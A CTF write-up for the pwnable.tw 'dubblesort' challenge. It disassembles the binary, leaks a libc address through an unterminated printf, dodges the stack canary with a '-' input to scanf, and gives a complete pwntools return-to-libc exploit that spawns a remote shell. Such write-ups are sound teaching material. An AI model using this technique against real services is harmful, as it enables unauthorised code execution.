Writeup for Pwnable.tw Challenge #6

Introduction

During christmas, I had some spare time, decided to give pwnable.tw another try and began solving challenge #6:

  • You can connect to a service using nc chall.pwnable.tw 10101
  • The service binary dubblesort and its libc are available for download
  • Your goal is to send malicious input and spawn a shell

So, let's connect to the port and see what the service is all about:

What your name :Chris
Hello Chris
,How many numbers do you what to sort :3
Enter the 0 number : 3
Enter the 1 number : 2
Enter the 2 number : 1
Processing......
Result :
1 2 3

The binaries name gave us already a hint: After we enter our name, the application asks us for a set of numbers. The numbers are sorted, printed on screen and finally the app terminates.

Let us take a general look at its security features with checksec:

Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

We have a 32 bit binary with stack protection and address space randomisation. Therefore, the following strategies are promising:

  • We have to find a way to read memory to get the libc or dubblesort binary base addresses for further exploitation
  • Due to the NX bit set, our shell code has to be executed using ROP gadgets, a return to libc, etc.

Code Analysis

We start IDA and jump directly into main():

; int __cdecl main(int argc, const char **argv, const char **envp)
.text:565C59C3                 push    ebp
.text:565C59C4                 mov     ebp, esp
.text:565C59C6                 push    edi
.text:565C59C7                 push    esi
.text:565C59C8                 push    ebx
.text:565C59C9                 and     esp, 0FFFFFFF0h
.text:565C59CC                 add     esp, 0FFFFFF80h

Nothing special here. A few registers are saved and a stack frame with a size of 0x8C is created.

.text:566009CF                 call    __i686.get_pc_thunk.bx
.text:566009D4                 add     ebx, 15CCh
.text:566009DA                 mov     eax, large gs:14h
.text:566009E0                 mov     [esp+7Ch], eax
.text:566009E4                 xor     eax, eax

Relocation is done, image base loaded into EBX and a stack cookie is stored at ESP+0x7C. Dubblesort now enters function sub_566008B5 which contains the following code block:

.text:566008FE                 mov     [esp+2Ch+var_28], eax
.text:56600902                 mov     [esp+2Ch+var_2C], 0Eh
.text:56600909                 call    _signal
.text:5660090E                 mov     [esp+2Ch+var_2C], 3Ch ; '<'
.text:56600915                 call    _alarm

It configures a timer which terminates our application after 60 seconds. This is a little bit annoying while debugging, therefore I overwrote the opcodes at 0x5660090E and 0x56600915 with a sequence of NOPs. This makes local debugging a lot more easier because the application does not terminate itself. Back to main():

.text:566009EB                 lea     eax, (aWhatYourName - 56601FA0h)[ebx] ; "What your name :"
.text:566009F1                 mov     [esp+4], eax
.text:566009F5                 mov     dword ptr [esp], 1
.text:566009FC                 call    ___printf_chk
.text:56600A01                 mov     dword ptr [esp+8], 40h ; '@'
.text:56600A09                 lea     esi, [esp+3Ch]
.text:56600A0D                 mov     [esp+4], esi
.text:56600A11                 mov     dword ptr [esp], 0
.text:56600A18                 call    _read

A printf() asks for our name. Dubblesort reads up to 40 bytes from stdin via read() and stores them at ESP+0x3Ch.

.text:56600A21                 lea     eax, (aHelloSHowManyN - 56601FA0h)[ebx] ; "Hello %s,How many numbers do you what t"...
.text:56600A27                 mov     [esp+4], eax
.text:56600A2B                 mov     dword ptr [esp], 1
.text:56600A32                 call    ___printf_chk
.text:56600A37                 lea     eax, [esp+18h]
.text:56600A3B                 mov     [esp+4], eax
.text:56600A3F                 lea     eax, (aU - 56601FA0h)[ebx] ; "%u"
.text:56600A45                 mov     [esp], eax
.text:56600A48                 call    ___isoc99_scanf
.text:56600A4D                 mov     eax, [esp+18h]
;...
.text:56600A55                 lea     edi, [esp+1Ch]
.text:56600A59                 mov     esi, 0

Our name at ESP+0x3Ch is printed on screen via printf() and we are asked how many numbers we want to sort. Afterwards, dubblesorts reads an integer from stdin using scanf(), stores the result as ESP+0x18h and copies it to EAX.

.text:56600A5E                 mov     [esp+8], esi
.text:56600A62                 lea     eax, (aEnterTheDNumbe - 56601FA0h)[ebx] ; "Enter the %d number : "
.text:56600A68                 mov     [esp+4], eax
.text:56600A6C                 mov     dword ptr [esp], 1
.text:56600A73                 call    ___printf_chk
.text:56600A88                 mov     [esp+4], edi
.text:56600A8C                 lea     eax, (aU - 56601FA0h)[ebx] ; "%u"
.text:56600A92                 mov     [esp], eax
.text:56600A95                 call    ___isoc99_scanf
.text:56600A9A                 add     esi, 1
.text:56600A9D                 mov     eax, [esp+18h]
.text:56600AA1                 add     edi, 4
.text:56600AA4                 cmp     eax, esi
.text:56600AA6                 ja      short loc_56600A5E

I have simplified this block a little bit and removed a call to flush(). It runs in a loop until ESI (starts with 0 and is incremented by each iteration) reaches EAX (contains the number of elements we want to sort). It asks for a number via printf(). An integer is read from stdin using scanf("%u") and stored at [EDI]. EDI points to ESP+0x1C and is incremented by 4 after each iteration.

When the loop is finished, the array of integers entered by the user is stored at ESP+0x1C and its size can be found at ESP+0x18. Both are passed as parameters to the sort function sub_56600931():

void sort(unsigned int size, unsigned int* array){
    unsigned int counter = size-1;
    unsigned int val1;
    
    while(counter != 0){
        for(unsigned int i=0; i<=counter; i++){
            if(array[i] > array[i+1]){
                val1 = array[i];
                array[i] = array[i+1];
                array[i+1] = val1;
            }
        }
        counter--;
    }
}

I have manually transformed the assembly into C and simplified it a little bit (removed the stack canary and a sleep(1)). It is basically a bubblesort implementation. The algorithm iterates over the input array and compares element i with element i-1. If i-1 is larger than i, both values are swapped. When the end of the array is reached, the array size is decremented by one and the next iteration begins.

.text:565D5AF9                 mov     eax, 0
.text:565D5AFE                 mov     edx, [esp+7Ch]
.text:565D5B02                 xor     edx, large gs:14h
.text:565D5B09                 jz      short loc_565D5B10
.text:565D5B0B                 call    stack_was_altered_error
.text:565D5B10
.text:565D5B10 loc_565D5B10:
.text:565D5B10                 lea     esp, [ebp-0Ch]
.text:565D5B13                 pop     ebx
.text:565D5B14                 pop     esi
.text:565D5B15                 pop     edi
.text:565D5B16                 pop     ebp
.text:565D5B17                 retn

Finally, the sorted array is printed on screen as a list of unsigned integers, a check is performed whether the stack canary was altered, previous registers are restored and main() jumps to its return value.

The previous analysis leads to the following stack layout:

Address Usage
ESP + 0x18 Number of Elements the user wants to sort
ESP + 0x1C Integer array, sorted when application terminates
ESP + 0x3C User name
ESP + 0x7C Stack Canary
ESP + 0x8C Old EBX
ESP + 0x90 Old ESI
ESP + 0x94 Old EDI
ESP + 0x94 Old EBP
ESP + 0x98 Return Address

Local Exploitation

We have analyzed the application and can begin to pwn it. I prefer to write a local exploit before I try to attack the pwnable.tw page because it is easier to debug. Because of ASLR, we have to find a way to read dubblesorts memory first. When this is done, we try to take over its code execution and spawn a shell.

Reading Memory

Dubblesort asks for the user name and stores it at ESP+0x3C. Read() is limited to 0x40 bytes so we can not use it to overwrite the main() return address. Nevertheless, another aspect is interesting: It uses a printf("%s") to display the content of ESP+0x3C. It does not append a 0x00 to the end of the previously stored string. Therefore, printf("%s") will continue to print data until it reaches a random null byte. The following output of a pwntools python script shows the problem:

[DEBUG] Received 0x10 bytes:
    b'What your name :'
[DEBUG] Sent 0x15 bytes:
    b'AAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x49 bytes:
    00000000  48 65 6c 6c  6f 20 41 41  41 41 41 41  41 41 41 41  │Hell│o AA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 0a e0  f6 f7 20 60  │AAAA│AAAA│AA··│·· `│
    00000020  fc f7 2c 48  6f 77 20 6d  61 6e 79 20  6e 75 6d 62  │··,H│ow m│any │numb│
    00000030  65 72 73 20  64 6f 20 79  6f 75 20 77  68 61 74 20  │ers │do y│ou w│hat │
    00000040  74 6f 20 73  6f 72 74 20  3a                        │to s│ort │:│
    00000049

The example above shows a set of hex data after the newline character: 0xe0, 0xf6, 0xf7, ... Apparently, it is possible to dump stack content on screen. Let us take a look in IDA if anything interesting can be found at ESP+0x3C which is worth printing.

/lib/libc-2.32.so	00000000F7D63000

FFDE2ABC  F7E0589F  libc_2.32.so:strerrordesc_np+1347F
FFDE2AC0  00000000  
FFDE2AC4  F7F4E000  libc_2.32.so:F7F4E000
FFDE2AC8  F7FC0680  ld_2.32.so:_rtld_global_ro
FFDE2ACC  F7F51448  debug001:_nl_msg_cat_cntr+90
FFDE2AD0  F7F4E000  libc_2.32.so:F7F4E000
FFDE2AD4  F7FA6020  ld_2.32.so:_dl_rtld_di_serinfo+73E0
FFDE2AD8  00000000  

ESP+0x3C starts at 0xFFDE2ABC. Interestingly, 0xFFDE2AC4 contains a pointer into libc. If we substract the libc image base 0xF7D63000, we get the value 0x1EB000. Let us search for this offset in our local libc:

readelf -S /lib/libc-2.32.so

Section Headers:
[Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
...
[28] .got.plt          PROGBITS        001eb000 1ea000 000040 04  WA  0   0  4

Apparently, it is a pointer to the .got.plt section. This leads to the following strategy:

  • Send 8 bytes to the application when it asks for your name
  • It returns a newline 0xa character followed by 3 bytes which represent the .got.plt offset
  • Substitute the first character 0xa with 0x0, substract 0x1EB000 and we have the libc image base address

Writing on Stack

Previously, we have seen how to extract the libc image base address. We can use it to write a "return to libc" or ROP gadgets on stack. But how can we perform a write operation? Luckily, dubblesort allows us to enter any number of unsigned integers which are stored at ESP+0x1C. If we take a look at the previously described stack layout, the following boundaries appear:

  • The first 24 integers are stored on stack frame data space
  • Integer 25 would overwrite the stack canary
  • Integer 26 - 32 overwrite previously restored registers
  • Integer 33 overwrites the main() return address

We can overwrite crucial stack content to get control of EIP but we face two problems here: The result is sorted and we do not want to overwrite the stack canary. Ignoring the stack canary is easy: Input is parsed with format string "%u". If we enter a character like "-", it is simply ignored. The sorting problem can be faced with a "return to libc" attack instead of ROP gadgets because it just needs two values: A pointer to system() and a pointer to a /bin/sh string. The following two shell commands search in our local libc for them:

strings -tx /lib/libc.so.6 | grep /bin/sh
 192108 /bin/sh
 
readelf -s /lib/libc.so.6 | grep system
  1559: 00042c50    55 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

This leads to the following overall strategy to spawn a shell on my local machine:

  • Write 24 null bytes
  • Write a "-" to protect the stack canary
  • Write 8 times the system() offset which is libc base address + 0x42c50
  • Write 1 - 3 times the /bin/sh offset which is libc base address + 0x192108

The order of these values is not destroyed by bubblesort and a shell pops up.

Remote Exploit

For the remote exploit, we have to change a few things:

  • Adjust the system() offset according to libc provided by the challenge page
  • Adjust the /bin/sh offset according to libc provided by the challenge page
  • Adjust the .got.plt section offset according to libc provided by the challenge page
  • Debug dubblesort with the provided libc to see the the stack layout and calculate the correct input name length for libc base address retrival

Unfortunatly, I was not able to load the challenge page libc. :-/

LD_LIBRARY_PATH=/home/pwnable/6/libc ./dubblesort
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!

Therefore I had to check other peoples exploits to get the correct input name length. It is 24. This leads to the final remote exploit:

#!/usr/bin/python3

from pwn import *

context.log_level = 'DEBUG'

io = remote('chall.pwnable.tw',10101)

io.recv()
#name to leak libc address
io.sendline('A'*24)
io.recvuntil('A'*24)
re = u32(io.recv(4))
io.recv()
print("fetched stack value: " + str(hex(re)))
zeroed = re & 0xffffff00
libc_base = zeroed - 0x1B0000 #git.plt section offset
print("calculated libc base: " + str(hex(libc_base)))
bash_string_offset = libc_base + 0x158e8b
print("calculated bash offset: " + str(hex(bash_string_offset)))
system_offset = libc_base + 0x3a940
print("calculated system() offset: " + str(hex(system_offset)))

pause()

BEFORE_CANARY = 24
SYSTEM_OFFSET_AMOUNT = 8
BASH_OFFSET_AMOUNT = 3
TOTAL_SIZE = BEFORE_CANARY + 1 + SYSTEM_OFFSET_AMOUNT + BASH_OFFSET_AMOUNT

#array size
io.sendline(str(TOTAL_SIZE))
io.recv()

#array content
for i in range(BEFORE_CANARY):
    io.sendline(str(i))
    io.recv()

#dont change the canary
io.sendline("-")
io.recv()

#ret to libc comes here
for i in range(SYSTEM_OFFSET_AMOUNT):
    io.sendline(str(system_offset))
    io.recv()
for i in range(BASH_OFFSET_AMOUNT):
    io.sendline(str(bash_string_offset))
    io.recv()

#finished
io.recv()
print("Done, Shell should pop up :)")
io.interactive()